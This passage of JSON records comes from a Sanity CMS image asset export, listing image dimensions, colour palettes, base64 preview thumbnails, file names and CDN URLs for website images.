"#a4b8cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#896869","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f92c4d","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"OSPO_meta_preview.jpg","path":"images/sczeoy4w/production/a6db2ce04e634c9ed72c77e271b5b95bdc102c62-1200x630.jpg","sha1hash":"a6db2ce04e634c9ed72c77e271b5b95bdc102c62","size":94888,"uploadId":"PucdRpkphjY8zzvU5vNN9INKoNUxP94M","url":"https://cdn.sanity.io/images/sczeoy4w/production/a6db2ce04e634c9ed72c77e271b5b95bdc102c62-1200x630.jpg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300-png","_rev":"QRl2cGoCgj0FlAhkRrhh2I","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:24Z","assetId":"6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VZP@6B_2-:Ip%L~WRjD*ofWC-pIVa}%2WVIooe%LRjRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":300,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXklEQVQokY3R20uTYRwHcP+ZKPFKK4gsIpCuuhKEILqJbqI8VCZU0GGFtdBFdoCyiXPa3OvKQzNbbnPqlKVjScnKw6Zz9s65rb3t3bvn/CzeqbOFhV+ei+fmw/f5Pb8izjkAICXLiqJgjMkugnNhjBVxzgkhEEKEECGE7SKEUowxpbQAU0qz/w4kRJTkQEyK/JIViDYxQkhRFAAAY+w/eDUpt3tmb1knur3fxGSKscLmvzDPnfxlVoyfNw0ffNDR0OuaX0uoMzPGMMaZTAYA8OezOeds6xDGMGWfw+tnDO/33H51UbB/j8RVDABACAEAIYR5TBmTMvCHJEdSSjiZmg6teZbEIX/wtGFwr0ZfLTg2cTqdRluhjPFcpAwcmQu1OL36yS+dU/4LZsfZLlvjx09V+oF9Kt5qxhjnmtXuDcw4X03KOvvUsaauqtb+GwPjRx+Z92s7ay0jla39xZq2baw+ktJ8M+OcMh5KpDSDE8V39BUtwtVeV7muu1RrrLE4d8bqxBDKAAZi0qwYm1qO3LS6S+61nXja09A3ekTXXbYj5rlVAaD+9kI0oXN46wRHs336ksVZcret4olQ3zd6WGcq1Rqre5yVL/sLZt7YCiEEIeQLRc4Zh8ofGqvN9lrBfuC+4eTzN9cGxo8/Fg41vb7y1nVK/66ssf2yxTmXx9lsdmPb82vx5mFPrcn2zOV9MearMw9rrO4Oz9frvSP1FofePaP9MFljsrWO+cIJaRtzzimlqQyYE6O+YDgQjQeicV8w7F+NhmI/Z5bCvuBKMBr3r4jTC8uLkXUFIs75b0aY+thhhyVLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#437486","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047289","foreground":"#fff","population":0.76,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":10.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9c9ce","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84c4db","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#637886","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":10.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300.png","path":"images/sczeoy4w/production/6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300.png","sha1hash":"6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436","size":2987,"uploadId":"wv0x7V2Ke3Rhz26qqKj05EqNrwxRACf0","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c9a69e9ea0e36fc6c187d92d1c0fc36b8695436-400x300.png"} {"_createdAt":"2022-07-08T09:49:16Z","_id":"image-65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8OwT","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:26Z","assetId":"65c24cb5b92246a2abf669cb5fc3f7fa7d361db6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSCi5_OSdYQq@-lSjV@wdSh*wK+XSm+tm","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHElEQVQokS2PXWxTdRjG/6cLA8YGzLVpyQRjIDEI7sIsGWjQeMGVMXjhBZFIvHIkeqMXPWXljLX7YF32QeR02G3asY2VjrNp042PLUtQsyhmOhy6j2a0IZGp7WnrRljT0vM8prCLJ89z9Xvfn6Cj6As6t/uplI5S2XGdzq0a6kwaFJNGV5GG5i0a27Zq7Nyu8csSDd07NPSUafDv1jj0gpYL7NHWggfGnoy9PICwTRE4V/I1Gq0RXtiXYsveBButOt1mnc1mHR6LznaLjotWHapVh7dCR49Vh79SR79Z55Vd+vrAvsTKlZrU6rWqlXxoz1VBt2WEnYeT9B4hvUfJS9WkWkP4jhG9b5J9R4i+ahq9h/i0v5rZ8IfMTJ1h9tvjzF89wEffvM4ffB/wXv/x1MboS2MF4DV2Ho4XIPS+YVCtAb1HAd/bQN87QN8x8PJrMNT9yGgnkb4fQiI6i7X5YWR+dGJJ+9wY/eosJ3s+0uOBg98JOrcF0VCeoNtCui2gy0y6KgqbaLYRrTbywk4+bTMzHjjN6Nwd/rX6D9dT/3IjHuH9n24j4Fd5o/fT9N+B6luCsghCFgnKEikLUBaFJgrtkAinidmGUq62vsK73af5/cQwo9EHzGazzOVyXFhYwOjIMKcD7nQ89N6UoF0EYRcJ2gVpFwbtAthM4YDhkJBoqMTPHe8ipJ7BzWAXFv+YxePH68hkNhCJRHBjIsyZcV86OVU7KSBLQcpSvPAhZGEUINjMM6AsIVlvxe/tb2FGPYFfBmsxNz2AhT/nsfIgitlf54yb4yHeDV9MpSdOTgoqpSM4v0unUkbUFeOZun1TeVM9V1fM9eYKJjteZNx7iEv+U5wZUzkVvs7xkUFODrZxcejjtY2hqmnBJpvKlr2/ockWpVK6RIe0TLtYpiyWIYvn2yGWoZhW0LQllm8tiaU79scWL78fu+P7LHb7Um3sXveJh8meqvm8zxoQrN95Cud3K6wva2Rd8TnKkhN24YQsnJSfN2Sh4KzUSMXUSleRx2jZ5nnSbvM86nrV87DroOc/tbIt7yt30Vf+yf9oIjzM6JGz/wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38364c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e2113","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":23.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94ccbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8cb67","foreground":"#000","population":0.55,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#90816d","foreground":"#fff","population":2.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":23.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844.png","path":"images/sczeoy4w/production/65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844.png","sha1hash":"65c24cb5b92246a2abf669cb5fc3f7fa7d361db6","size":501012,"uploadId":"W9P5SqXJA9299oPbOPHi3sAg0RU1kMbo","url":"https://cdn.sanity.io/images/sczeoy4w/production/65c24cb5b92246a2abf669cb5fc3f7fa7d361db6-1567x844.png"} {"_createdAt":"2022-06-15T20:02:06Z","_id":"image-6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri0w4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:54Z","assetId":"6f79f3e24053e6c3276045b4c0bac4fd74e10c28","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXO{|0?w$,9E-qKNo}NHn#ozR6xBWVS1jr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADOklEQVQokR3F308bBRwA8PtXfPBVE/+BRR+M02j2oA86skRj4pxmGdFE3GalDkOBDTCbpnTCADtD5ShM6VxgbVO2YbEthf68u/44rvf7eu3dQVva6/X7NfLwyYcolcyvCoX6g2xWDubzKknTzTPVaosURYdUVSTZihyc9/2y/eZb5+Mvvfxq9JXXzm18eOlLcvbO8lpkJb1BbSqbXNRakYu2m0iluIWdnRyzvZ1qhsPp+u4urSeSrE5RTV2SHF3TUFckS0//s2P4piaPL3/0mfn2Gx80Xj93QX/3/JD+xdB1fXbkgRH0Ro6eb1GPiGJRJ9NpvpFIVDGRYPHgQMB8XkWWbaEsD1DTEPV6H1Vex+KLAwx6A+geHsMrl77GT96/ihffuYxD713Bzz/+tnXj+u0kIUrOH4LQ1wTBRp63BzW+B6LQBkU6BlVug6rYoKkDUBUHmKwE60sbcGvEDRM3J2HlpzUgZ/8aeMf86HHPnbh/uJsiFBmDioK6rCByEgIlOMjwJygIEmqSiJrUREW2URQdzGdl9C+SOHx1GEdHXBgJbGFtlwMupSF9oJmZtBgjZMZ5LFX6TZFzsMQPIHHUx3i1gwWuiZKoYV02UZN7WBd7KDIqbj3aQtcNF95yfY/P/gyhnivBcUXDY84yWnz7KSG96ESEZMcUC13kaw5UeAcozoYK1wWx1oEq3YTsPg90qgS1ZAYSob/h/swM3J+egnRoHU4y/8IplcVTijJPqXKEUGJWWI5bhpI5wQZ7OjBqXTCOOmAedaBRsmAvSoN3LgTT0w9hyRuA1fkA/D63CKTPB6n1VbCS8UGfKqJNMYZNVcKElVCeNBKiWU/LaFIN7JQt7JYt7JUtbNNNpJ+X0D+/jTdHf8Nr3/yKI98tomfcjz/P+HFtgcRCOI5mpoZdWrNsRo8Q3f2qz9xj0lqiyplZudqlm6xdMtkeY5xpFXSW2+PYZ5uH7PJ8jL19J8T+OB5kR8dWWc9kkA8sRZVcjFGtvJ7rlcyHRC8nXGwf8i4rI022CnVPjzE8dsn09Bjz7P7/ypanyxge/VD1FGKVifD6vmfBG52YmHp89969p8tPgqklISmM24zx6X9m6sWu/BhJBwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473441","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e264e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdbed","foreground":"#000","population":11.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac9da","foreground":"#000","population":1.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdbed","foreground":"#000","population":11.82,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5067a1","foreground":"#fff","population":1.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ab468e","foreground":"#fff","population":2.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844.png","path":"images/sczeoy4w/production/6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844.png","sha1hash":"6f79f3e24053e6c3276045b4c0bac4fd74e10c28","size":546384,"uploadId":"1h0unwEvqjqz098Sfs3amJRQK7qOdILo","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f79f3e24053e6c3276045b4c0bac4fd74e10c28-1567x844.png"} {"_createdAt":"2022-06-30T19:58:06Z","_id":"image-fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61-400x242-png","_rev":"QRl2cGoCgj0FlAhkRrhlTB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:29Z","assetId":"fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTMaV2IU00kD4n~qfPM{t6Rj9Fs:-;Rjxu_3ofRjWBWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6528925619834711,"height":242,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAElEQVQokY3Qz2/ScBjH8f4BumTJkiUao1mWqGePZiMIzkho5zwYjQezLSYbHNzNAy0Eb6ShMORkwg4mGHRyEFbIvDk6Vg4SIkLLj0FLafHQb22blsnNwNgSzRZ9XZ+88yQfKJb4sLX9MZFKf9nf/1YuV74PMQxTOwvLsqVSKbe393l3N5vJQEvujSX3xpr31fYOWa832u12q9XiOI7n+U6nIwhCt9sVT3Acl8vlYrEYQRBEMAjddDy8fv+B47k7kc5IvR8AAFmWAQCKoqiqquu6YRjmCUVRKIoiCMLj8WAoCs3eW5y5Cy+sut6T2a4oSpIkiqLU68mybBjG0civkcFgoOs6TdPjGMOgmYXFa3bYvup6lyabh4e1Wq1arbIsKwiCpmmnP03T7Pf7mqbR+XwoGERR1Ov1QlftyBU7bFtZj6d26o0mwzDlcrlSqfA8r6rqGTFFhXAcO44v25BLNti67IqnyEajybLsvz8TBIZhw3jahkzfQSzLrng6yw/XHc4rSRIAwDTNoz/pul4oFMLh8DiessJTVvj2s/W3n0ip1/s5crrzXwAAFEWFQqFxPGmBJy3wrccr+Jut/MFBsVj8ej6appPJZCAQ8I5AE/POiXnnDeTJ2ks0vLkZjUZfny8SieA47vf7x/HFOeeFOees49FT1wsUw3w+3/Hhf/wGiBL1z0+WM8UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59292b","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a424c","foreground":"#fff","population":14.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":25.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b4ac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cd0dd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":25.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#41a4be","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61-400x242.png","path":"images/sczeoy4w/production/fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61-400x242.png","sha1hash":"fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61","size":26778,"uploadId":"xCR3FGgEsHCMcbUhl110QCgGUUknoSo3","url":"https://cdn.sanity.io/images/sczeoy4w/production/fdb3d602770a9dfcb8839a64f2bc6bd34bdb9c61-400x242.png"} {"_createdAt":"2022-06-30T20:11:17Z","_id":"image-045313f6dd77a8f64cc02aba374de017972511a1-1812x1255-png","_rev":"8WeirZ6KB9gJqgJfviPub1","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:56Z","assetId":"045313f6dd77a8f64cc02aba374de017972511a1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V13+fmix4T?]_Na1kCyDWAR64To}?^IADh.mRjDOtl%#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4438247011952192,"height":1255,"width":1812},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACZklEQVQ4jX2TW2/TMBiG8wNo1+bg2LETO3YOTdOulei6kwRiYpoACaEBF9NA4o6LXSLBJT/9RZ/TjsEQF58UJc7j5zsFtl0itx14XiEWBiHLEQuNTNdQZQtVzvx3aVrw3IFJ+yh4USMzLTLdIEilRapqJKpBLCymTPmIeeHBFIkPg+GsA99Fquzu3RBJZhBELEeSlUikQ7QzDAmayPuI0hwx12CqBLcOoq6QmgEQpbvzTGESZ2RYQurap0MHyCjiBcI094foB7pd5BWysoY6nEFtOoi2QiJJYADtI1Cmga7mkKbx6TBJqQwpsaz0NaL6FW4OXffQ/QKq7yBcA65bJLJCyLXPbJIoBCJ3kLoBmZJVlBZgsvTGBBa6QVH1cLMVqm4N0yyQmQYsb8B0j0h1mHKHA2YwjhUCSpMr65swDgUOIuGbQF0XegZpl3DdU2zOLnD87BL1coPMzpEWLWJZY8otxkmBcaQwCjME7A8gH4CZgSga5NUarn+O9fEbfPh8h093P3B0dQ2zPoWsF74cIVNeZDRNfQTDOJS++HsgNYXSVtUK3fYVjq9u8P7rN9x8/4mz2y9oXryEmq/8xZM486AnE4bRhP07ZYJ7SzuDOznF8vUlth/fYnvzDv31JcqLE4hZ5y8+iH7b/d+QZjO34G0NszlEe36E5nwDsz2EWLRICmpigXE0GN4Dqd0EJSDB7g3FMJM0a8q2sN0KrluhqOdIc+thU5Y/BtLwkiGt0H5I94bUsKEkDqKo/XDT8yBAC6AxiSVGU/4XUFk/d2T2EOg3Z781ifT2wyoWfk3jzGGaaowedPkXcsd5PryZU6EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a345c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#184764","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5ca7d8","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d3e4","foreground":"#000","population":0.09,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9eef5","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6baf6e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5ca7d8","foreground":"#000","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"045313f6dd77a8f64cc02aba374de017972511a1-1812x1255.png","path":"images/sczeoy4w/production/045313f6dd77a8f64cc02aba374de017972511a1-1812x1255.png","sha1hash":"045313f6dd77a8f64cc02aba374de017972511a1","size":405756,"uploadId":"4vDKC7isfs0B3nnXSVL1Xw7mwtt4gLIn","url":"https://cdn.sanity.io/images/sczeoy4w/production/045313f6dd77a8f64cc02aba374de017972511a1-1812x1255.png"} {"_createdAt":"2022-09-07T06:39:20Z","_id":"image-db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688-png","_rev":"cEPH2uRN58AU2lp9QO8Rmz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:09Z","assetId":"db5ad871fef94c6792ff046a5fc2a712f1e36ffa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDB{+D584:~BoZt7t8%1IoRj0h?G-o9aR.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAAB5ElEQVQokXWQy27TQBRA/UX1zHjGj3hsj13bIcF1Hh1qZxCJEElDxasvHJe2Stu0hQYJVai0EkIVrGABYoO6ZMGmP8AHoSQNolI5mivN4pzFvRIhpDDFNE1KqWVZjDHbtukYwzAURQH/II8fAEBijHHOhRBpmjYajSRJhBCtVksIUa1WK5VKqVw2DJ0oyDILnucx5ugaQQhAACRKaRRF9Xp9okZRFMdxrVaL4zgMw2JYnLvlLRRJK6adZtpuP7gneFqhlQBYBpAQQhhjVVXJGDxm8kFIoTrs1mbePVbPsvmd7Onq6srak+bgmb/dJentGWm0w39QELpTVs578GIYnO493Myzfp4fZY+Ga/HWonYV3wjBOI6Kw827lx/5jzfV/Y2lwd7u+93B23anG3tzAbIM+YYYQijLsm2Zz5c73z8Nfl+8+HmWHveSk9cHn18ND3laIgRBeXQwCEc2hHCSTWPAbLqxvvTl/OWvr/3LD+Lb4cLp0fZBr9cslQ2IZAAggJIKgUlIQdcJIZN4fAWgEszrUbayOMjvH+f8pN/ZypYTzguadiUBIDmqUqSm77mUUkKIMgVjRTc0l9m+Z0clv5FwzucZYxjjv440y5zQc31/1nVd5xq2PZoRDnN93w+CwLvu/AG0+7sRi94PIQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373b56","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b2727","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bab8b7","foreground":"#000","population":4.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab8b7","foreground":"#000","population":4.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faf0d0","foreground":"#000","population":2.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f7a76","foreground":"#fff","population":3.65,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd41c","foreground":"#000","population":0.01,"title":"#000"}}},"mimeType":"image/png","originalFilename":"db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688.png","path":"images/sczeoy4w/production/db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688.png","sha1hash":"db5ad871fef94c6792ff046a5fc2a712f1e36ffa","size":862468,"uploadId":"YjENMHIXGnEKhAihDEEp5kPso8Uk5nv4","url":"https://cdn.sanity.io/images/sczeoy4w/production/db5ad871fef94c6792ff046a5fc2a712f1e36ffa-3133x1688.png"} {"_createdAt":"2022-06-30T19:58:26Z","_id":"image-5d187fccb53e707c7de063e34b860eb5f5fc1c8e-3125x2083-png","_rev":"QRl2cGoCgj0FlAhkRrho9a","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:06Z","assetId":"5d187fccb53e707c7de063e34b860eb5f5fc1c8e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIL_Lv~315tU1G.6KRvzslNf0NIV]iR$;2E,+tOYSh#+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.500240038406145,"height":2083,"width":3125},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAADxUlEQVQ4jU3SfUzUBRzH8W88uAQCg2MtrUTXlBxFFgmMZxCUOxGOww6Rh4h4ioRDRDgEDscSGfFgnLTWpCcla6RRG4QN7QFNEA4EApmoSHcHMfX3k6GccPf9NGJt/vH69/3Xm6aM92hKP0P6WxNkHOsn48jlJ/xJxuFlV8g41EPGa70rBq+ScaCPjLo+mu7rpen+KyTUdJD+xhTRlOEu/T15x04/cX2tYXzQzTCmczNc17kZxgZWjA6u+OvaipEhN8PI8H+MQ8Prjf06yT8XLtqCiG4CRLfvs5Vx9OrW2e7TRffbqxqFtrJGoU3TKPxQoRXOVmqF1qNa4btjWuFMjVZoqdMKpxq0wpeNjcIXTVrhs6aGudqanEcFBe7w2ma9HKVbD2Ez09cuF78/+MeCNkh8XPu6aKr1Ek013qKpyl80VQaLportoqk0UjQVR4mmwljRlK8UTbn7xMdZycJicsIlc4w8AYGh9tj4KtHNRdjOXv5WOf+5ctB8xBVcbAMucwFrNoBLN4MPbQHnvwbO9QJn+YDT/MHJweC4YFhkwbCEh93h0PA8DopwYr+dRBPLwUvfvD1/UqGzlK9hqFcxqjYx6oMZdZGMahnjw2hGRSyjRME4pGTkxTMSd1kQGQKEhE4iKFzFgTud4Cd9Itis0Jk1LozyNcwfvcWsjWI+oWRuTGI+nsZcncp8JIVZk85QZ/JiRiKLUTG4FxI1ORcYpTIHyJyW/KL/D55RzjfHDZg1zoxiO2bNBsZRH0Z9LKMhkVGbylyVyqxJYRSl8EL2Ph5KzLCckhfheGSpoW576eHysErXHp93iCaWYDvbfTru4Ul5v7nMGThgDVY9AxS8BJT5AuU7ALUUXLgbnBcDpMkwqZDjY2UF0vN/hFz1y4M3E35qflba5kHL24wDVncvfBLwqCmsxXLY8TbybQy830GPbBc9stfrkbFZj1QPPSe9oed4bz3kvvpeqWJ6f/Kncxn1g5xcP7LkntXdQbs6/f0Ke4i6AHrQmi9ZrHaXctHqA1CtKuEPHNXIdFHzu8+pOekFNcdvVHOcu5qjPdWQeakvRu6t2JP0dUtESc9oQFHv+LrkXxtI1rlF/dUNooUTfoR0egoFtBoHrZxZ9bQEOY4SZLlKkP6iBKkvS5D4ioTjPSVmxTZX7PaWnJW+97xnXKuPZG9XpsOerhyb6PO+JOu0p63niGb62+k8QAgkQi4Rq+wI7zsSMiTEqWuJk9yI4zcRx3kQoj0JMh+aiYggivjdmiI67GlHhwNF/myzLuU3qjs3Sf8CD15ZBmiw/3oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6c70","foreground":"#fff","population":0.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c86","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6d0b","foreground":"#fff","population":15.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bed1dc","foreground":"#000","population":0.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c167","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c9d","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6d0b","foreground":"#fff","population":15.88,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5d187fccb53e707c7de063e34b860eb5f5fc1c8e-3125x2083.png","path":"images/sczeoy4w/production/5d187fccb53e707c7de063e34b860eb5f5fc1c8e-3125x2083.png","sha1hash":"5d187fccb53e707c7de063e34b860eb5f5fc1c8e","size":213230,"uploadId":"FGvPONqOmUIn9td1XgzPWUaCwyEDp92I","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d187fccb53e707c7de063e34b860eb5f5fc1c8e-3125x2083.png"} {"_createdAt":"2022-12-12T13:49:42Z","_id":"image-ec48925e69ecd26d936345f9e39de3eb0ebae948-897x1230-png","_rev":"gYxzbT5h6EDFb7xrQlUrNI","_type":"sanity.imageAsset","_updatedAt":"2022-12-12T13:49:42Z","assetId":"ec48925e69ecd26d936345f9e39de3eb0ebae948","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dGH1xt00_NOES^I9%hNZI^b^xF-UE0OZnN$*IVj=WBjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7292682926829268,"height":1230,"width":897},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAbCAYAAAB836/YAAAACXBIWXMAAAsTAAALEwEAmpwYAAAHM0lEQVRIiU3R2VPU6RXG8d/FKKLMiIDs4gaKio6AICqLiggo+yZr02wKAg0NNDZr0zSr2Owg2yi73UCDgKCopcZJUlMBo+OWccmUk0rV6GwX+Qe+KTqpTC6eeqvei0895xwhNcCTtMBjnHLdjZ3lJkyN12O2aQOm/42xsSFGnxuwznAtBgZrsbM1JzsljOlBNXdvalicmWROc52p4X60o0MIsvgQYk+647FvOzttzbC12MgWC2NszDdibmbEpk2GbDD6f3AzF8WrYBt35+a5s/iAWzfn0Gm0aMcmELorCgj1cWP/Dkv2brfAcetm9mwzZ5edOVutTbA0/4KNGw0xNDTQg1tszMhKDkN3vYOluVss3n7Mwp0HzM7fQzd7H2Hpqw7O+XvjYGuKvY2J